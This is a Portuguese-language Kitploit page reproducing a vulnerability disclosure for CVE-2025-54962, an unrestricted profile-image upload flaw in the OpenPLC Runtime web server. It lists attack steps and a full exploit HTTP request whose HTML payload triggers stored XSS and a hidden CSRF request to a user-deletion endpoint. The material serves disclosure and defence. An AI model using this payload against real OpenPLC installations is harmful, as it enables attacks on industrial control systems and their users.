Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-54962 — Usuários autenticados podem enviar arquivos arbitrários (ex.: .html, .svg) como imagens de perfil no OpenPLC Runtime. Esses arquivos são publicamente acessíveis sem autenticação, permitindo XSS armazenado ou distribuição de conteúdo malicioso. | Kitploit
Ferramentas/GitHubGitHub/eyodav/cve-2025-54962
Análise de VulnerabilidadesExploraçãoSegurança SCADA/ICSExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubeyodav/cve-2025-54962

CVE-2025-54962

Usuários autenticados podem enviar arquivos arbitrários (ex.: .html, .svg) como imagens de perfil no OpenPLC Runtime. Esses arquivos são publicamente acessíveis sem autenticação, permitindo XSS armazenado ou distribuição de conteúdo malicioso.

Ver Repositório
6há 1 anoAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

🔥 CVE-2025-54962 — Upload de arquivo inseguro no servidor web do OpenPLC Runtime

(OpenPLC Runtime ≤ 2024-12-31 — XSS armazenado, CSRF)

📌 Resumo

Descobri uma vulnerabilidade no servidor web do OpenPLC Runtime (versão publicada: 2024-12-31) que permite que usuários autenticados façam upload de arquivos arbitrários (ex.: .html, .svg) como fotos de perfil. Esses arquivos são armazenados no diretório /static/ e ficam acessíveis sem autenticação, possibilitando XSS armazenado ou cenários de hospedagem maliciosa.


🧪 Componente Afetado

  • Rota: /edit-user
  • Afetado: funcionalidade de upload de arquivo para imagens de perfil

⚠️ Impacto

  • Upload de arquivo arbitrário com validação insuficiente de MIME e extensão
  • XSS armazenado
  • Hospedagem de conteúdo malicioso
  • Acesso não autenticado a arquivos enviados
  • CSRF

🎯 Vetor de Ataque

  1. Um usuário autenticado faz upload de um arquivo .html ou .svg como foto de perfil.
  2. O arquivo é armazenado em /static/ e recebe um ID previsível (ex.: http://localhost:8080/static/336029.html).
  3. Qualquer usuário (mesmo não autenticado) pode acessar o arquivo enviado diretamente.
  4. Se o arquivo contiver JavaScript ou outro código malicioso, ele será executado no navegador da vítima.

📸 Prova Visual de Conceito

Painel quando o PLC está em execução

dashboard.png

Enviando um arquivo .html malicioso

choose file.png

Usando "All Files" para contornar o filtro de imagens

file.png

Arquivo enviado executado a partir de /static/

poc.png


🎞️ Vídeos PoCs

  • Demonstração básica do PoC
    poc de base.mp4

  • Demonstração de acesso não autenticado
    unauthenticated.mp4

  • PoC de CSRF
    poc csrf.mp4


📤 Exemplo de Requisição do Exploit com Burp Suite Repeater

root@kitploit:~
POST /edit-user HTTP/1.1
Host: 127.0.0.1:8080
Content-Length: 1397
Cache-Control: max-age=0
sec-ch-ua: 
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: [OpenPLC URL]
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryW3GoLRyFS7dyLS2B
User-Agent: [UA]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:8080/edit-user?table_id=10
Accept-Encoding: gzip, deflate
Accept-Language: fr-FR,fr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: session=[cookie]
Connection: close

------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_id"

10
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="full_name"

OpenPLC User
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_name"

openplc
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_email"

[email protected]
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="user_password"

mypasswordishere
------WebKitFormBoundaryW3GoLRyFS7dyLS2B
Content-Disposition: form-data; name="file"; filename="poc cve.html"
Content-Type: text/html

<!DOCTYPE html>
<html>
<head>
  <title>PoC – Unfiltered Upload</title>
</head>
<body>
  <h1>Proof of Concept</h1>

  <p>Payload uploaded on vulnerable endpoint. If filtering is broken, executing script below proves stored XSS.</p>

  <h2>XSS Demo (auto-executed)</h2>
  <script>alert('PoC xss')</script>

  <h2>CSRF</h2>
  <img src="http://127.0.0.1:8080/delete-user?user_id=%5BUser%20ID%5D" style="display:none" />

  <h2>document.domain</h2>
  <p>Opened from: <script>document.write(document.domain)</script></p>

  <h2>Manual link to malicious HTML</h2>
  <a href="https://google.com/" target="_blank">Click to redirect on google.com</a>
</body>
</html>

------WebKitFormBoundaryW3GoLRyFS7dyLS2B--
Baixar ferramenta